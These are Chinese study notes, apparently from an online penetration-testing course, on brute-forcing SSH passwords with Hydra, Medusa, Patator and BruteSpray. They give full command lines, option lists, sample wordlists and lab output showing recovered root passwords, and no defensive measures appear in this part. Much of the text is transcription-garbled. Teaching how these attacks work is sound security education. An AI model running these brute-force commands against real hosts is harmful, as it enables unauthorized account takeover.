SSH 密码暴力破解及防御实战_1 | 学习笔记

本文涉及的产品
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,高可用系列 2核4GB
简介: 快速学习 SSH 密码暴力破解及防御实战_1

开发者学堂课程【网络安全攻防 - Web渗透测试SSH 密码暴力破解及防御实战_1】学习笔记,与课程紧密联系,让用户快速学习知识。

课程地址:https://developer.aliyun.com/learning/course/630/detail/9929


SSH 密码暴力破解及防御实战_1


内容介绍

一、hydra [海德拉]

二、Medusa [美杜莎]

三、patator

四、BrutesPray

 

内容简介

所谓的暴力破解更多指的是密码字典,不断去猜测不断去尝试密码,那该如何防御呢?除了密码设置的安全一点,密码设置是一个伪命题,根本设置不到安全,因此了解了暴力破解机制之后,之后就是重点去了解如何防止暴力破解,ssh 是最需要被防御的对象,一旦被攻击之后,系统就被别人接手了,下面介绍几款工具,目的不是暴力破解,是看一下暴力破解的机制,同时落脚点应该是在怎么去防御上面。

这里的破解分为在线破解和离线破解,什么叫在线呢?ssh 服务是开着的,fdb 开着的,通过不断的尝试来进行探测破解,对于这种在线的服务,尝试这种方式叫在线破解。离线破解就是把密码文件弄下来,比如 shuttle 文件,通过md5的这些网站或者工具去破解,不用连接,直接到本地进行破解。现在研究的是在线。

首先有好几个工序是可以直接拿来用的,把 kail 恢复到0环境,快速启动,用到的这些工具都是在 kail 当中,百分之八九十都是有的,一部分需要再安装。


一、hydra [海德拉]

1背景

1)海徳拉( Hydra) : 希脂神活中的九尖蛇,是西方的神话生物,在古希腊神话出现最为频繁,传说他拥有九颗头,其中一颗头钥匙被斩断,立即又会生出两颗头来。

2hydra 是世界顶级密码暴力密码破解工具,支持几乎所有协议在线密码破解,sshfdb,功能强大,其密码能否被破解关键取决于破解字典是否足够强大,在网络安全渗透过程中是一款必备的测试工具。暴力破解就是不断是猜测不断是去尝试密码。

2、指定用户破解

1Examples:

hydra -l user -P passlist.txt ftp://192.168.0.1

使用一个用户名叫 user,密码就在 passlist.txt 字典里面,不断的使用用户名,不断的用字典文件里的密码破解,暴力破解。

hydra -L userlist.txt -p defaultpw imap://192.168.0. 1/PLAIN

l login,后面跟的是一个文件,也叫字典,因为 fdb 账号不一定是 user 账号,可能也有别的账号,就像 ssh 去访问一个别的机器,它未必用的就是 root,可能还有别的,有密码的字典,用户名的账号的字典,都有可能,p password,小 p 后面跟的是指定的密码,大 p 后面跟的是字典文件,后面破解的是 imap 邮箱的账号。还有 pop3sftp

hydra -C defaults.txt -6

pop3s://[ 2001 :db8::1] :143/TLS:DIGEST-MDS

hydra -l admin -p password ftp://[192.168.0.0/24]/

hydra -L logins.txt -P pws.txt -M targets.txt ssh

用户和密码都是字典,没有说是哪个机器,暴力破解 targets.txt 这里面所包含的主机的 ssh,它不会去破解某一个机器,首先它会扫描 c 段,扫描所在某个网站的 c 段,哪些机器,20号端口有没有开着,扫描扫到50个开着的 ssh,然后就会去破解一群机器的 ssh

root@kali:~# hydra -l root -P pass.dic 192.168.106.134 ssh

l是用户名,后面跟主机和服务

2Options:

-R  restore a previous aborted/crashed session

-I  gnore an existing restore file (don't wait 10 seconds )

-S  perform an SSL connect

-s PORTif the service is on a different default portdefine it here

-l LOGIN or -L FILE login with LOGIN name or load several logins from FILE

登陆的用户名,-L 指定一个文件

-p PASSor -P FILE try password PASS or load several passwords from FILE

-p 密码和密码文件

-x MIN: MAX : CHARSET password bruteforce generation type "-x -h" to get help

-y  disable use of symbols in bruteforcesee above

-e nsr try "n" null password "s" login as pass and/or "r" reversed login

-e n 表示是不是空密码

-u loop around users not passwords (effective! implied with -x)

注意这个不是用户

-C FILE colon sepa rated"login:pass" format instead of -L/-P options

-M FILE list of servers to attack one entry per line ':' to specify port

-M 列出一个服务的攻击或者是列表

-o FILE write found login/password pairs to FILE instead of stdout

-o 发现用户名和密码是一对写到一个标准的文件里面

-b FORMAT specify the format for the -0 FILE: text(default) json jsonv1

-f/-F exit when a login/pass pair is found (-M: -f per host -F global)

-t TASKS run TASKS number of connects in parallel per target (default: 16)

(3)演示,就把密码写在一个文件里面,创建一个 vim passlist.txt

123456

admin

111

redhat

dengxin

再随便写一些错误的密码

Ssss

yuyeyeye

Iudududu

qwert

123

输入vim passlist.txt

Root

admin

jack

alice

zhuzhuxia

3、用户列表破解

root@kali:~# hydra -L userlist.txt -P passlist.txt -M hoststxt ssh -o -hydra . ok

-L 用户名,密码列表,主机列表,-o 输出

输入10.30.162.62

10.30.162.163

10.30.162.142

10.30.162.16

用法很简单,直接指定62这台机器,就可以很快的得到账号和密码。

输入# hydra -L userlist. txt -P passlist. txt -M hostlist. txt ssh -O ssh-hydra. txt

演示结果如下:

image.png

这样就可以把输出的结果输入到文件里面去,尝试量是很大的。

演示结果如下:

image.png


二、Medusa [美杜莎]

1、背景

(1)美杜莎是希腊神话里的一个女妖怪,她的头发是毒蛇,长的青面獠牙,她知道自己丑,她要报复,她把见过她的人都变成了石头。据说她原是一位美丽的少女,之所以变成蛇发女妖因为美杜莎和智慧女神雅典娜比美,雅典娜怒之下将梅杜莎的头发变成毒蛇,变成面目丑陋的怪物。

(2)Medusa(美杜莎)是一个速度快,支持大规模并行,模块化,爆破登录。可以同时对多个主机,用户或密码执行强力测试。Medusa 和 hydra 一样,同样属于在线密码破解工具。不同的是, medusa 的稳定性相较于 hydra 要好很多,但其支持模块要比 hydra 少一些。

2、语法参数

Medusa [-h host | -H file] [-u username|-U file] [-p password|-P file][Cfile]Mmodule[OPT]

-h [TEXT] 目标主机名称或者 IP 地址

-H [FILE] 包含目标主机名称或者 IP 地址文件

-u [TEXT] 测试的用户名

-U [FILE] 包含测试的用户名文件

-P [TEXT] 测试的密码

-P [FILE] 包含测试的密码文件

-C [FILE] 组合条目文件

-0 [FILE] 日志信息文件

-e [n/s/ns]  n 代表空密码,s 代表为密码与用户名相同

-M [TEXT] 模块执行名称,海得拉主机文件里面就写了一个 IP 值,

-M hostlist. txt ssh 是这么指的,其实不用这么指,可以直接写成 ftp://[192.168.0.0/24]这种形式,这样后面就不用再跟 ssh,ssh 是模块,就不用在后面加模块的名字,走了两步,像 ftp://192.168.0.1写到文件列表里面去就可以,M 是模块,跟美杜莎语法参数是一样的。

-m [TEXT] 传递参数到模块

-d 显示所有的模块名称

-n [NUM] 使用非默认 Tcp 端口

-S 启用 SSL

-r [NUM] 重试间隔时间,默认为3秒

-t [NUM] 设定线程数量

-T同时测试的主机总数

-L 并行化,每个用户使用一个线程

-f 在任何主机上找到第一个账号/密码后,停止破解

-F 在任何主机上找到第一个有效的用户名/密码后停止审计

-q 显示模块的使用信息

-V [NUM] 详细级别(0-6 )

-W [NUM] 错误调试级别(0-10 )

-V 显示版本

-Z [TEXT] 继续扫描上一次

3、破解 SSH 密码

(1)root@kali:~# medusa -M ssh -h 192.168.106.134 -u root -P passlist. Txt  

美杜莎,-M 模块,-h 后面加上目标主机,-u 用户名,-p 密码

演示代码:

root@kali:~# medusa -M ssh -u root -P passlist. txt -H hostlist. txt

短的代码是成功的,长的代码是不成功的,

ACCOUNT FOUND: [ssh] Host: 10.30.162.163 User: root Password: dengxin [ SUCCESS]

(2)root@kali:~# medusa-M ssh -H hostlist.txt -U userlist.txt -P passlist. Txt

(3)root@kali:~# medusa -M ssh -h 192.168.106.134 -U userlist.txtKR passlist.txt -F

192.168.106.134 User: admin Password: 123  [ SUCCESS ]

屏蔽不重要,重要的是输出,屏蔽了也看不出来,没有限程数,导致输出很慢,输出结果如下:

# Medusa v.2.2 (2018- 11-21 22:32:20)

# medusa -M ssh -u root -P passlist. txt -H hostlist. txt -0 ssh- medusa. txt

ACCOUNT FOUND :

[ssh] Host: 10.30.162.62 User:m root Password: redhat

[SUCCESS ]

ACCOUNT FOUND:

[ssh] Host: 10.30.162.163 User: root Password:  dengxin [ SUCCESS ]

ACCOUNT FOUND:

[ssh] Host: 10.30.162. 142 User: root Password: qwert [ SUCCESS ]

# Medusa has finished (2018-11-21 22:33: 11)

如果把用户名换成大 U,就会输出很多。

(4)root@kali:~# medusa -M ssh -H hostlist.txt -U userlist.txt -P passlist.txt -0 ssh.log


三、patator  

patator,强大的命令行暴力破解器

1、可用模块

root@kali:-# patator -h   -h 就是可用模块

Patator v0.6 (http://code . google . com/ p/patator/)

Usage: patator module --help

Available modules:

ftp_ login : Brute-force FTP

暴力破解 FTP

ssh_ login :Brute-force SSH

暴力破解SSH

telnet_ login : Brute- force Telnet

smtp_ login:Brute- force SMTP

smtp_ vrfy:Enumerate valid users using SMTP VRFY

smtp_ rcpt:Enumerate valid users using SMTP RCPT TO

Finger_ lookup : Enumerate valid users using Finger

http_ fuzz:Brute-force HTTP

pop_ login:Brute-force POP3

pop_ passd:Brute force poppassd (http:/ /netwinsite . com/poppassd/)

imap_ login:Brute-force IMAP4

ldap_ login : Brute-force LDAP

smb_login:Brute-force SMB

smb_lookupsid : Brute-force SMB SID- lookup

rlogin_ login : Brute- force rlogin

vmauthd_login : Brute-force VMware Authent ication Daenon

mssql_ login:Brute-force MSSQL

oracle_ login :Brute-force 0racle

mysql_ login:Brute-force MySQL

mysql query:Brute- force MySQL queries

pgsql_ login:Brute-force PostgreSQL

vnc_ login:Brute-force VNC

dns forward: Forward lookup names

2、破解 SSH 密码

root@kali:~# patator ssh_ login --help

想知道 ssh 怎么用,输入 help

Patator v0.6 (http://code. google. com/p/patator/)

Usage: ssh_ login <module-options ...> [global-options ...]

Examples:

ssh_ login host=10.0.0.1 user=root password=FILEO 0=passwords.txt -x

ssh_ login 是模块的名字

ignore:mesg-' Authentication failed. "

前面加软件后面加模块的名字

root@kali:~# patator ssh_ login host =192.168.106.134 user= root password=FILE00=passlist. txt

root@kali:~# patator ssh_ login host=192.168. 106.134user=rootpassword=FILEØ0=passlist.txt \-x ignore:mesg=" Authentication failed. '

root@kali:~# patator ssh_ loginhost=192.168.106.134user=FILE11=userlist.txtpassword=FILEØ

Ø=passlist.txt -x ignore:mesg- ' Authentication failed . '

root@kali:~# patator ssh_ login host-192 .[68.106. 134 user-FILEØ 0=userlist. txt password-FILE11=passlist.txt -x ignore :mesg=' Authentication failed.

演示:

输入 root@kali:~# patator ssh_ login host =10.30.162.62 user= rootpassword=FILE00=passlist. txt

演示结果如下,第一个成功了,后面都是失败的,failed 是失败的。

image.png

这是密码的字典,换成用户名的字典。输入 root@kali:~# patator ssh_ login host=10.30.162.62 user=FILE0 0=userlist. txt password=FILE1 1=passlist. Txt

这样用户名在前面,密码在后面演示结果如下。

image.png

如果不想看到失败的结果,可以输入-x ignore :mesg=' Authentication failed 忽略它。

演示结果如下。

image.png


四、BrutesPray

1、背景:

BruteSpray 是一款基于 nmap 扫描输出的 gnmap/XML 文件,自动调用 Medusa 对服务进行爆破(Medusa 美杜莎是一款端口爆破工具,速度比 Hydra 九头蛇快)。

2、Kali 端安装:

root@kali:~# apt-get update

root@kali:~# apt-get install brutespray

相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
相关文章
|
Linux 网络安全 数据安全/隐私保护
【实用】防暴力破解服务器ssh登入次数
【实用】防暴力破解服务器ssh登入次数
418 0
|
安全 网络协议 网络安全
【【安全知识】SSH远程登录方法详解】
SSH(Secure Shell)是一种安全的网络协议,用于远程登录和安全数据传输。在本文中,我们将详细介绍如何使用SSH进行远程登录。
1247 0
|
XML 安全 Shell
SSH 密码暴力破解及防御实战_2 | 学习笔记
快速学习 SSH 密码暴力破解及防御实战_2
632 0
SSH 密码暴力破解及防御实战_2 | 学习笔记
|
存储 安全 Linux
别让你的服务器(vps)沦为肉鸡(ssh暴力破解),密钥验证、双向因子登录值得拥有
如果你购买了阿里云、腾讯云或者华为云等国内云服务上的服务器,默认登录都是以密码的方式,这就给潜在的渗透带来了机会,因为当你的linux服务器暴露在外网当中时,服务器就极有可能会遭到互联网上的扫描软件进行扫描,然后试图连接ssh端口进行暴力破解(穷举扫描),如果你不采取相对应的措施,迟早有一天服务器会被渗透者攻陷,这也就解释了为什么google cloud(谷歌云)和aws(亚马逊云)默认都是以秘钥的方式登录服务器。
别让你的服务器(vps)沦为肉鸡(ssh暴力破解),密钥验证、双向因子登录值得拥有
|
存储 安全 Linux
网络安全——SSH的两种远程登录方法详解
最近在打靶场的过程中发现有时候SSH无需密码就可以直接登陆,这确实是触及到我的盲区了,上网查了一下才知道这原来是ssh的秘钥登录,花了一整天才弄懂,所以写下这篇博客,希望能帮助到大家
536 0
网络安全——SSH的两种远程登录方法详解
|
安全 Shell Linux
SSH 密码暴力破解及防御实战_3 | 学习笔记
快速学习 SSH密码暴力破解及防御实战_3
281 0
SSH 密码暴力破解及防御实战_3 | 学习笔记
|
监控 网络安全 数据安全/隐私保护
|
安全 关系型数据库 Linux
暴力破解工具Hydra
Hydra是世界顶级的密码暴力破解工具,支持几乎所有协议的在线密码破解,功能强大,密码能否被破解的关键取决于破解字典是否足够强大。在网络安全渗透过程中,Hydra是一款必备的测试工具,配合社工库进行社会工程学攻击,有时会获得意想不到的效果。 本文选自《黑客攻防:实战加密与解密》
6721 0